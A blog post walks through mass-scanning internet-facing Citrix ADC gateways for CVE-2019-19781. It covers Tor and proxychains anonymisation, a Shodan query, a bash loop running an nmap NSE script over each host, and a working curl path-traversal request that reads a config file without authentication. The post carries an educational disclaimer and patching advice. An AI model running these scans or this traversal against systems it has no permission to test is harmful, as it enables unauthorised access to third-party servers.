Skip to content
Blog
How to find a vulnerable server on the internet?

How to find a vulnerable server on the internet?

January 24, 2020

Shodan, nmap and a cracked Citrix gateway

⚠️
Educational purposes only! Scanning and probing systems you don’t own or have permission to test may be illegal where you live.

How hard is it to find a vulnerable server on the internet? A month after Citrix disclosed

CVE-2019-19781
, it turned out to be a ten-minute job. All it took was a search engine for devices, one nmap script and a single curl.

⚡
TL;DR — Shodan lists Citrix NetScaler / ADC gateways, an nmap NSE script flags the ones still vulnerable to CVE-2019-19781, and a path traversal to /vpns/cfg/smb.conf confirms it.

Recon pipeline: Tor, Shodan, nmap, curl

The toolbox

Everything runs through Tor so the scans don’t come from my own IP. Here is what I used:

Start Tor

Launch the Tor client in the background and keep an eye on it with nyx.

$ tor &
$ nyx -i 127.0.0.1:9052

Check that proxychains really uses Tor

A quick curl ifconfig.me should print an exit node address, not your own.

$ proxychains curl ifconfig.me
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  ifconfig.me:80  ...  OK
46.166.139.111

Ask Shodan for Citrix gateways

Shodan already indexed every service that looks like a Citrix ADC Gateway. I only need the IP and port of each one.

$ proxychains -q shodan search --fields="ip_str,port" citrix netscaler > $HOME/citrix_list

Scanning for CVE-2019-19781

Now a tiny loop feeds every ip port pair from the Shodan list into nmap with the CVE-2019-19781 NSE script.

#!/bin/bash

CITRIX_IP_LIST="$HOME/citrix_list"

while read CITRIX_IP_PORT; do
        IP=$(echo $CITRIX_IP_PORT | awk '{print $1}')
        PORT=$(echo $CITRIX_IP_PORT | awk '{print $2}')
        proxychains -q nmap -p $PORT -sV --script CVE-2019-19781 $IP
done < $CITRIX_IP_LIST

Scans over Tor are slow (around 150 seconds per host), but after a short while the results start rolling in. Plenty of servers were still unpatched:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 15:16 CET
Nmap scan report for ---.---.---.---
Host is up (0.75s latency).

PORT      STATE SERVICE     VERSION
----/tcp open  ssl/unknown
| CVE-2019-19781:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Citrix Application Delivery Controller (ADC)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2019-19781
|     Risk factor: HIGH
|                   A critical remote code execution vulnerability exists in Citrix Application Delivery Controller (ADC) CVE-2019-19781.
|
|     Disclosure date: 2019-12-17
|     References:
|       https://support.citrix.com/article/CTX267027
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.99 seconds
Two more vulnerable hosts from the same run
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 15:18 CET
Nmap scan report for ---.---.---.---
Host is up (0.47s latency).

PORT      STATE SERVICE     VERSION
----/tcp open  ssl/unknown
| CVE-2019-19781:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Citrix Application Delivery Controller (ADC)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2019-19781
|     Risk factor: HIGH
|                   A critical remote code execution vulnerability exists in Citrix Application Delivery Controller (ADC) CVE-2019-19781.
|
|     Disclosure date: 2019-12-17
|     References:
|       https://support.citrix.com/article/CTX267027
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.11 seconds

Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 15:21 CET
Nmap scan report for ---.---.---.---
Host is up (0.53s latency).

PORT      STATE SERVICE     VERSION
----/tcp open  ssl/unknown
| CVE-2019-19781:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Citrix Application Delivery Controller (ADC)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2019-19781
|     Risk factor: HIGH
|                   A critical remote code execution vulnerability exists in Citrix Application Delivery Controller (ADC) CVE-2019-19781.
|
|     Disclosure date: 2019-12-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781
|_      https://support.citrix.com/article/CTX267027

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 155.56 seconds

Confirming with curl

nmap says “vulnerable”, but I like to see it with my own eyes. The bug is a path traversal: /vpn/../vpns/ escapes into a directory that should never be reachable without authentication. Reading the Samba config file proves it.

$ proxychains -q curl -k --path-as-is https://<host>:<port>/vpn/../vpns/cfg/smb.conf  && echo -e
[global]
        encrypt passwords = yes
        name resolve order = lmhosts wins host bcast
🔑
--path-as-is matters here. Without it, curl normalises /vpn/../vpns/ into /vpns/ before sending the request, and the traversal never reaches the server.

And that’s it. I stopped at this point, but a public RCE exploit turns the same traversal into full control of the box.

Wrap-up

  • Shodan plus one NSE script is all it takes to build a list of vulnerable hosts. Attackers do exactly this within hours of a disclosure.
  • A month after the advisory, many internet-facing Citrix gateways were still unpatched.
  • Path traversal bugs on edge devices are often one small step away from remote code execution.
  • If you run edge appliances, patch (or at least apply the vendor mitigation) as soon as an advisory lands.
Last updated on
.grsec patch size_overflowImpossible Password